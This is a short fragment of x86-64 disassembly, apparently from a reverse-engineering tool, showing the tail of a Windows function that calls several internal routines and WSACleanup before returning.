mov rcx, qword [rsp + 0x68]
call fcn.14000bdf0
mov qword [rsp + 0x30], rax
cmp dword [rsp + 0x24], 0
je 0x14000bdb0
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x60]
call fcn.14000a2a0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov edx, 1
mov rcx, qword [rsp + 0x40]
call fcn.140316ea4
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x48], rax
mov edx, 1
mov rcx, qword [rsp + 0x48]
call fcn.140316ea4
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
and eax, 1
test eax, eax
je 0x14000bdd8
and dword [rsp + 0x20], 0xfffffffe
mov rcx, qword [rsp + 0x60]
call fcn.1400067e0
mov rax, qword [rsp + 0x60]
add rsp, 0x58
ret